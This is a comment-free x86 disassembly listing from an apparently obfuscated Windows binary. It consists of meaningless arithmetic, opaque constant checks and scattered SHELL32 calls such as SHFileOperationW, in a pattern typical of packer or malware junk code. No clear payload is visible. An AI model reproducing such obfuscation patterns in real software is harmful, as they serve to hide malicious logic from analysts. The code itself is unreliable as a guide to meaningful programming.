movsx ecx, byte [ebp - 0x4429]
shl eax, cl
mov byte [ebp - 0x43c5], al
jmp 0x405956
mov ecx, dword [ebp - 0x27f4]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x7074]
sar edx, cl
mov eax, dword [ebp - 0x27f4]
mov word [eax], dx
mov ecx, dword [ebp - 0x3d88]
mov edx, dword [ebp - 0x55a8]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x8ef0], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x38ac]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4650]
mov dword [ecx], eax
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x4b34], ax
movzx eax, byte [ebp - 0x2e8e]
movzx ecx, byte [ebp - 0x30a5]
sub eax, ecx
mov byte [ebp - 0x5d05], al
mov edx, dword [ebp - 0x2854]
sub edx, dword [0x48e8c4]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1c44]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [ecx]
add edx, dword [0x48e8c4]
mov eax, dword [ebp - 0x19b4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ebp - 0x8880]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4650]
mov dword [ecx], eax
movzx edx, word [ebp - 0x5728]
movzx eax, word [ebp - 0x3ea8]
add edx, eax
mov ecx, dword [ebp - 0x3024]
mov word [ecx], dx
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x30a5]
and eax, ecx
mov byte [ebp - 0x2e8e], al
mov edx, dword [ebp - 0x1234]
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x55a8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0xc4]
or ecx, dword [eax]
mov edx, dword [ebp - 0x4650]
mov dword [edx], ecx
mov eax, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x659c]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov edx, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x95d0]
shl edx, cl
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xc4]
mov dword [ebp - 0x1a68], edx
movsx eax, byte [ebp - 0x43c5]
movsx ecx, byte [ebp - 0x4429]
add eax, ecx
mov edx, dword [ebp - 0x97b0]
mov byte [edx], al
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
and ecx, 0x38ea
mov word [ebp - 0x7074], cx
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x6224]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x30a5], al
movzx eax, word [ebp - 0x5728]
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x5578]
mov word [ecx], ax
mov edx, dword [ebp - 0x55a8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x1234]
add eax, dword [ecx]
mov edx, dword [ebp - 0x3d88]
mov dword [edx], eax
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x1234]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x2e8e]
movzx edx, byte [ebp - 0x30a5]
add ecx, edx
mov eax, dword [ebp - 0x6224]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3024]
movzx edx, word [ecx]
movzx eax, word [section..data]
sub edx, eax
mov ecx, dword [ebp - 0x5578]
mov word [ecx], dx
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ebp - 0x1a68]
add eax, dword [edx]
mov dword [ebp - 0x6e40], eax
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x55a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x19b4]
mov eax, dword [ebp - 0x4f00]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x2854], edx
mov eax, dword [ebp - 0x6290]
sub eax, 0x1e
mov dword [ebp - 0x6290], eax
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2854], edx
movzx eax, byte [ebp - 0x2e8e]
movzx ecx, byte [ebp - 0x5d05]
or eax, ecx
mov byte [ebp - 0x30a5], al
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x3120]
movzx edx, word [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x3024]
mov word [ecx], ax
cmp dword [ebp - 0x6290], 0xe05d
ja 0x405956
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
add eax, dword [0x48d004]
mov ecx, dword [ebp - 0x3d88]
mov dword [ecx], eax
cmp dword [ebp - 0x3860], 0x12293
je 0x405d58
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
add eax, dword [ebp - 0x659c]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
movsx edx, word [ebp - 0x7074]
and edx, 0x5c9b
mov eax, dword [ebp - 0x27f4]
mov word [eax], dx
movsx ecx, byte [ebp - 0x43c5]
mov edx, dword [ebp - 0x6bb4]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x97b0]
mov byte [edx], cl
mov eax, dword [ebp - 0x3860]
add eax, 0xf0
mov dword [ebp - 0x3860], eax
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x4b34], dx
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2e8e]
add eax, ecx
mov edx, dword [ebp - 0x6dfc]
mov byte [edx], al
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [ebp - 0x1c44]
add ecx, dword [eax]
mov dword [ebp - 0x8ef0], ecx
mov edx, dword [ebp - 0x8880]
mov eax, dword [edx]
add eax, dword [ebp - 0x1a68]
mov dword [ebp - 0x6e40], eax
mov ecx, dword [ebp - 0x95d0]
sub ecx, dword [ebp - 0x1a68]
mov dword [0x48e8c4], ecx
mov edx, dword [ebp - 0x3d88]
mov eax, dword [edx]
sub eax, dword [0x48d004]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0x95d0]
add edx, dword [ebp - 0x1a68]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5578]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
xor edx, ecx
mov eax, dword [ebp - 0x3024]
mov word [eax], dx
jmp 0x405c36
lea ecx, [ebp - 0x30a5]
mov dword [ebp - 0x5ee0], ecx
movsx edx, byte [ebp - 0x4429]
movsx ecx, byte [ebp - 0x43c5]
sar edx, cl
mov eax, dword [ebp - 0xa038]
movsx ecx, byte [eax]
mov eax, dword [ebp - 0x97b0]
movsx eax, byte [eax]
or ecx, eax
cmp edx, ecx
jg 0x405e8a
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0xc4]
and edx, dword [ecx]
mov dword [ebp - 0x659c], edx
mov dword [ebp - 0x5a0], 0x48d004
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x3ea8]
add ecx, edx
movzx eax, word [ebp - 0x4b34]
movzx edx, word [ebp - 0x8220]
sub eax, edx
cmp ecx, eax
jg 0x405e70
mov eax, dword [ebp - 0x97b0]
mov cl, byte [eax]
mov byte [ebp - 0xa240], cl
cmp byte [ebp - 0xa240], 0x10
je 0x405df1
jmp 0x405e1d
lea edx, [ebp - 0xf38]
push edx
push 0x60
lea eax, [ebp - 0x27f4]
push eax
lea ecx, [ebp - 0x3d88]
push ecx
mov edx, dword [ebp - 0x9f40]
push edx
call dword [sym.imp.SHELL32.dll_SHDoDragDrop]
mov dword [ebp - 0x8498], eax
jmp 0x405e6e
mov eax, dword [ebp - 0x4650]
mov ecx, dword [0x48e8c4]
add ecx, dword [eax]
mov dword [ebp - 0x95d0], ecx
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
sub eax, dword [ebp - 0x6e40]
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
mov edx, dword [ebp - 0x5ee0]
mov al, byte [edx]
mov byte [ebp - 0x51c1], al
mov ecx, dword [ebp - 0x3024]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3ea8]
sub edx, eax
mov word [ebp - 0x8220], dx
jmp 0x405e88
movsx ecx, byte [ebp - 0x43c5]
mov edx, dword [ebp - 0x97b0]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x4429], cl
jmp 0x405ef7
movsx ecx, word [ebp - 0x7074]
shl ecx, 3
mov edx, dword [ebp - 0x27f4]
mov word [edx], cx
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
mov dword [ebp - 0xa244], ecx
cmp dword [ebp - 0xa244], 0x5ff
je 0x405eba
jmp 0x405ecf
lea edx, [ebp - 0x8fc8]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [ebp - 0x8498], eax
jmp 0x405ef7
mov eax, dword [ebp - 0x8ef0]
or eax, dword [ebp - 0x590]
mov dword [ebp - 0x4c04], eax
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x659c]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov cl, byte [ebp - 0x51c1]
mov byte [ebp - 0x5da5], cl
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x5728]
sar eax, cl
mov ecx, dword [ebp - 0x66b8]
mov word [ecx], ax
mov edx, dword [0x48d004]
and edx, dword [ebp - 0x1f88]
mov dword [0x48d008], edx
mov dword [ebp - 0x21a0], 0x36a5
mov eax, dword [ebp - 0x86c0]
mov dword [ebp - 0xa248], eax
cmp dword [ebp - 0xa248], 0
je 0x405f64
cmp dword [ebp - 0xa248], 0x7b186388
je 0x483b70
jmp 0x483bfb
mov ecx, dword [ebp - 0xa038]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x6bb4]
movsx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x97b0]
movsx ecx, byte [eax]
movsx eax, byte [ebp - 0x43c5]
sub ecx, eax
cmp edx, ecx
jl 0x483a97
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ecx]
mov dword [0x48e1c8], edx
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [ebp - 0x4f00]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x97b0]
mov dl, byte [ecx]
mov byte [ebp - 0xa24c], dl
cmp byte [ebp - 0xa24c], 0
je 0x405fdf
cmp byte [ebp - 0xa24c], 0x59
je 0x40603c
jmp 0x4060bd
lea eax, [ebp - 0x7074]
mov dword [ebp - 0x7f38], eax
lea ecx, [ebp - 0x43c5]
mov dword [ebp - 0x40d0], ecx
mov edx, dword [ebp - 0x6dfc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5ee0]
movzx ecx, byte [ecx]
sar eax, cl
mov edx, dword [ebp - 0x6224]
mov byte [edx], al
mov ax, word [ebp - 0x5728]
mov word [ebp - 0x39b0], ax
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x1f88]
mov eax, dword [ebp - 0x55a8]
mov dword [eax], edx
jmp 0x4060bd
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x95d0]
mov dword [ebp - 0x6e40], edx
movzx eax, byte [ebp - 0x5da5]
mov ecx, dword [ebp - 0x5ee0]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x61e8]
mov byte [ecx], al
lea edx, [ebp - 0x27f4]
push edx
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x56c8]
push ecx
lea edx, [ebp - 0x8ef0]
push edx
call dword [sym.imp.SHELL32.dll_SHBindToParent]
mov dword [ebp - 0xf38], eax
movzx eax, word [ebp - 0x5728]
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
sub eax, edx
mov word [section..data], ax
mov eax, dword [0x48d008]
add eax, dword [ebp - 0x5944]
mov ecx, dword [ebp - 0x1234]
mov dword [ecx], eax
mov edx, dword [ebp - 0xa038]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x6bb4]
movsx edx, byte [ecx]
sub eax, edx
movsx ecx, byte [ebp - 0x4429]
mov edx, dword [ebp - 0x40d0]
movsx edx, byte [edx]
and ecx, edx
cmp eax, ecx
je 0x40611e
lea eax, [ebp - 0x8c48]
push eax
call dword [sym.imp.SHELL32.dll_ILFree]
mov ecx, dword [ebp - 0x6e40]
add ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x659c], ecx
mov edx, dword [ebp - 0x38ac]
mov eax, dword [edx]
or eax, dword [ebp - 0x6e40]
mov ecx, dword [ebp - 0x4650]
mov dword [ecx], eax
jmp 0x40618b
movzx edx, word [ebp - 0x4b34]
movzx eax, word [ebp - 0x3ea8]
sub edx, eax
movzx ecx, word [ebp - 0x8220]
movzx eax, word [ebp - 0x39b0]
add ecx, eax
cmp edx, ecx
jge 0x40618b
push 0x1d
mov ecx, dword [ebp - 0x40e4]
push ecx
push 0xb3
mov edx, dword [ebp - 0x5470]
push edx
call dword [sym.imp.SHELL32.dll_DragQueryFileW]
mov dword [ebp - 0x590], eax
mov eax, dword [ebp - 0x5a0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4c04]
shr edx, cl
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x43c5]
push ecx
call fcn.00484b30
add esp, 4
lea edx, [ebp - 0x4b34]
mov dword [ebp - 0x6ad4], edx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x590]
xor eax, dword [ebp - 0x8ef0]
cmp edx, eax
je 0x4062a8
movzx ecx, byte [ebp - 0x2e8e]
mov edx, dword [ebp - 0x61e8]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x5ee0]
movzx eax, byte [edx]
movzx edx, byte [ebp - 0x5da5]
add eax, edx
cmp ecx, eax
jne 0x40628b
mov eax, dword [ebp - 0x66b8]
movzx ecx, word [eax]
mov dword [ebp - 0xa250], ecx
cmp dword [ebp - 0xa250], 0x62d
je 0x406206
jmp 0x406260
lea edx, [ebp - 0x2704]
push edx
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
mov dword [ebp - 0x6e40], eax
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [ebp - 0x1a68]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4f00]
mov dword [edx], ecx
lea eax, [ebp - 0x8fc8]
push eax
lea ecx, [ebp - 0x7f38]
push ecx
call dword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [ebp - 0xb88], eax
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38ac]
add eax, dword [ecx]
mov dword [0x48e8c4], eax
jmp 0x406289
mov edx, dword [ebp - 0x6bb4]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x27f4]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x6224]
mov dl, byte [eax]
mov ecx, dword [ebp - 0x5ee0]
mov cl, byte [ecx]
call fcn.004843f0
jmp 0x4062a3
movsx edx, byte [ebp - 0x43c5]
movsx ecx, byte [ebp - 0x4429]
sar edx, cl
mov eax, dword [ebp - 0x97b0]
mov byte [eax], dl
jmp 0x483a62
movsx ecx, word [ebp - 0x7074]
mov edx, dword [ebp - 0x7f38]
movsx eax, word [edx]
and ecx, eax
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
cmp ecx, eax
jg 0x483a62
cmp dword [ebp - 0x743c], 0x5d5e
jae 0x406733
movzx edx, byte [ebp - 0x2e8e]
mov eax, dword [ebp - 0x6224]
movzx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x51c1], dl
movzx ecx, word [ebp - 0x8220]
mov edx, dword [ebp - 0x66b8]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x4b34], cx
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [ebp - 0x1234]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x55a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1234]
mov eax, dword [edx]
sub eax, dword [ebp - 0x1c44]
mov dword [ebp - 0x590], eax
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ebp - 0x4f00]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x8880]
mov dword [ecx], eax
mov edx, dword [ebp - 0x19b4]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x38ac]
add eax, dword [ecx]
mov edx, dword [ebp - 0x4650]
mov dword [edx], eax
mov eax, dword [ebp - 0x19b4]
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x2854], edx
movzx eax, word [ebp - 0x5728]
movzx ecx, word [ebp - 0x4b34]
add eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
mov eax, dword [ebp - 0x5ee0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x6dfc]
mov byte [edx], cl
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [ebp - 0x55a8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x3d88]
mov dword [eax], edx
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ebp - 0x95d0]
add edx, dword [ecx]
mov dword [ebp - 0x6e40], edx
mov eax, dword [ebp - 0xc4]
add eax, dword [ebp - 0x95d0]
mov dword [ebp - 0x2854], eax
mov ecx, dword [0x48d004]
and ecx, dword [ebp - 0x4c04]
mov dword [ebp - 0x86c0], ecx
mov edx, dword [ebp - 0x3120]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x8220]
xor eax, ecx
mov edx, dword [ebp - 0x66b8]
mov word [edx], ax
mov eax, dword [ebp - 0x61e8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x5ee0]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x6dfc]
mov byte [edx], cl
mov eax, dword [ebp - 0x6bb4]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x43c5]
shl edx, cl
mov byte [ebp - 0x4429], dl
mov eax, dword [ebp - 0x7f38]
movsx edx, word [eax]
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x7074], dx
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [ebp - 0x86c0]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x55a8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ecx]
add edx, dword [ebp - 0x95d0]
mov dword [ebp - 0x659c], edx
mov eax, dword [ebp - 0x206c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x3024]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x39b0], cx
mov ecx, dword [ebp - 0x61e8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x5d05]
sub edx, eax
mov byte [ebp - 0x51c1], dl
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ecx]
add edx, dword [ebp - 0x1a68]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x8ef0]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x1234]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1a68]
sub eax, dword [0x48e1c8]
mov ecx, dword [ebp - 0x4650]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6e40]
sub edx, dword [ebp - 0x2854]
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x66b8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x8220]
add edx, eax
mov word [ebp - 0x3ea8], dx
mov ecx, dword [0x48e8c4]
add ecx, dword [ebp - 0x659c]
mov dword [0x48e1c8], ecx
mov edx, dword [ebp - 0x4c04]
add edx, dword [ebp - 0x86c0]
mov dword [ebp - 0x8ef0], edx
mov eax, dword [ebp - 0x4650]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x1a68]
mov dword [ebp - 0xc4], ecx
mov edx, dword [ebp - 0x4f00]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x659c]
shl eax, cl
mov dword [ebp - 0x95d0], eax
mov ecx, dword [ebp - 0x4650]
mov edx, dword [ebp - 0x8880]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0x4650]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4650]
mov eax, dword [ebp - 0xc4]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x38ac]
mov dword [ecx], eax
movsx edx, word [ebp - 0x7074]
mov eax, dword [ebp - 0x27f4]
movsx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x7f38]
mov word [eax], dx
mov ecx, dword [ebp - 0x40d0]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x43c5]
sub edx, eax
mov ecx, dword [ebp - 0x6bb4]
mov byte [ecx], dl
mov edx, dword [ebp - 0x6ad4]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x3ea8]
sub eax, ecx
mov edx, dword [ebp - 0x206c]
mov word [edx], ax
movzx eax, byte [ebp - 0x5da5]
movzx ecx, byte [ebp - 0x51c1]
and eax, ecx
mov edx, dword [ebp - 0x6dfc]
mov byte [edx], al
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x8ef0]
mov edx, dword [ebp - 0x55a8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x590]
mov edx, dword [ebp - 0x5a0]
mov dword [edx], ecx
movzx eax, word [ebp - 0x39b0]
mov ecx, dword [ebp - 0x206c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x5578]
mov word [ecx], ax
movzx edx, byte [ebp - 0x5da5]
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x6224]
mov byte [eax], dl
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [0x48e8c4]
add edx, dword [ecx]
mov dword [ebp - 0x95d0], edx
mov eax, dword [ebp - 0x3d88]
mov ecx, dword [ebp - 0x5a0]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x1c44], edx
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [ebp - 0x8880]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2854], edx
mov eax, dword [ebp - 0x8880]
mov ecx, dword [ebp - 0x38ac]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x8880]
mov dword [eax], edx
mov ecx, dword [ebp - 0x743c]
add ecx, 0x2b
mov dword [ebp - 0x743c], ecx
movzx edx, word [ebp - 0x8220]
movzx eax, word [ebp - 0x39b0]
or edx, eax
mov ecx, dword [ebp - 0x5578]
mov word [ecx], dx
movzx edx, byte [ebp - 0x51c1]
movzx eax, byte [ebp - 0x2e8e]
and edx, eax
mov ecx, dword [ebp - 0x6224]
mov byte [ecx], dl
mov edx, dword [ebp - 0x55a8]
mov eax, dword [ebp - 0x5a0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x1f88], ecx
jmp 0x4062cb
mov edx, dword [ebp - 0x5a0]
mov eax, dword [edx]
mov dword [ebp - 0xa254], eax
cmp dword [ebp - 0xa254], 0
je 0x40675b
cmp dword [ebp - 0xa254], 0xa811cb39
je 0x4067a9
jmp 0x406841
mov ecx, dword [ebp - 0x19b4]
mov edx, dword [ebp - 0x6e40]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4f00]
mov dword [eax], edx
mov cx, word [ebp - 0x7074]
mov word [ebp - 0x86bc], cx
mov dl, byte [ebp - 0x4429]
mov byte [ebp - 0x3a69], dl
movzx eax, word [ebp - 0x4b34]
movzx ecx, word [ebp - 0x8220]
add eax, ecx
mov edx, dword [ebp - 0x3024]
mov word [edx], ax
jmp 0x406841
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0xa258], eax
cmp dword [ebp - 0xa258], 0x5d517c7d
je 0x4067c3
jmp 0x406834
movzx ecx, byte [ebp - 0x5da5]
movzx edx, byte [ebp - 0x2e8e]
sub ecx, edx
mov byte [ebp - 0x30a5], cl
lea eax, [ebp - 0x9f40]
push eax
lea ecx, [ebp - 0x3e64]
push ecx
call dword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [ebp - 0x74f8], eax
mov edx, dword [ebp - 0x55a8]
mov eax, dword [edx]
and eax, dword [ebp - 0x590]
mov ecx, dword [ebp - 0x55a8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4650]
mov eax, dword [edx]
sub eax, dword [ebp - 0x659c]
mov dword [0x48e8c4], eax
mov ecx, dword [ebp - 0x8880]
mov edx, dword [ecx]
add edx, dword [0x48e8c4]
mov eax, dword [ebp - 0x38ac]
mov dword [eax], edx
jmp 0x406841
lea ecx, [ebp - 0x7788]
push ecx
call dword [sym.imp.SHELL32.dll_ILFree]
mov edx, dword [ebp - 0x5a0]
mov eax, dword [ebp - 0x4c04]
add eax, dword [edx]
mov ecx, dword [ebp - 0x1c44]
sub ecx, dword [ebp - 0x5944]
cmp eax, ecx
jae 0x4068f0
mov edx, dword [ebp - 0x3d88]
mov eax, dword [ebp - 0x55a8]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x1f88], ecx
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x4f00]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x4650]
mov dword [edx], ecx
mov eax, dword [ebp - 0x40d0]
mov cl, byte [eax]
mov byte [ebp - 0xa25c], cl
cmp byte [ebp - 0xa25c], 9
je 0x4068b3
cmp byte [ebp - 0xa25c], 0x50
je 0x4068da
jmp 0x4068f0
mov edx, dword [ebp - 0x10c4]
push edx
call dword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov dword [ebp - 0xdd0], eax
mov eax, dword [ebp - 0x40d0]
movzx ecx, byte [eax]
push ecx
call fcn.00484b30
add esp, 4
jmp 0x4068f0
movzx edx, byte [ebp - 0x51c1]
movzx ecx, byte [ebp - 0x5da5]
shl edx, cl
mov byte [ebp - 0x5d05], dl
mov ax, word [ebp - 0x39b0]
mov word [ebp - 0x5f10], ax
mov dword [ebp - 0x74d0], 0x8f45
movsx ecx, word [ebp - 0x7074]
mov dword [ebp - 0xa260], ecx
cmp dword [ebp - 0xa260], 0x988
je 0x406926
jmp 0x4069b5
mov edx, dword [ebp - 0x4650]
mov eax, dword [0x48e1c8]
add eax, dword [edx]
mov dword [ebp - 0xc4], eax
mov cl, byte [ebp - 0x30a5]
mov byte [ebp - 0xa264], cl
cmp byte [ebp - 0xa264], 0x1f
je 0x406950
jmp 0x406997
mov edx, dword [ebp - 0x8880]
mov eax, dword [ebp - 0x95d0]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4650]
mov dword [ecx], eax
lea edx, [ebp - 0x8fc8]
push edx
lea eax, [ebp - 0x20f0]
push eax
push 0x6e
mov ecx, dword [ebp - 0x340c]
push ecx
call dword [sym.imp.SHELL32.dll_SHChangeNotification_Lock]
mov dword [ebp - 0x49b4], eax
mov edx, dword [0x48e8c4]
push edx
call fcn.00484640
jmp 0x4069b0
movzx eax, word [ebp - 0x5728]
movzx ecx, word [ebp - 0x3ea8]
add eax, ecx
mov edx, dword [ebp - 0x3120]
mov word [edx], ax
jmp 0x4839b2
mov eax, dword [ebp - 0x6dfc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x6224]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x5d05], cl
cmp dword [ebp - 0x74d0], 0xac5b
ja 0x406d4d
movsx ecx, byte [ebp - 0x4429]
movsx edx, byte [ebp - 0x43c5]
sub ecx, edx
mov eax, dword [ebp - 0x6bb4]
mov byte [eax], cl
movsx ecx, word [ebp - 0x7074]
mov edx, dword [ebp - 0x27f4]
movsx eax, word [edx]
xor ecx, eax
mov edx, dword [ebp - 0x7f38]
mov word [edx], cx
mov eax, dword [ebp - 0x55a8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x1c44]
shl edx, cl
mov eax, dword [ebp - 0x55a8]
mov dword [eax], edx
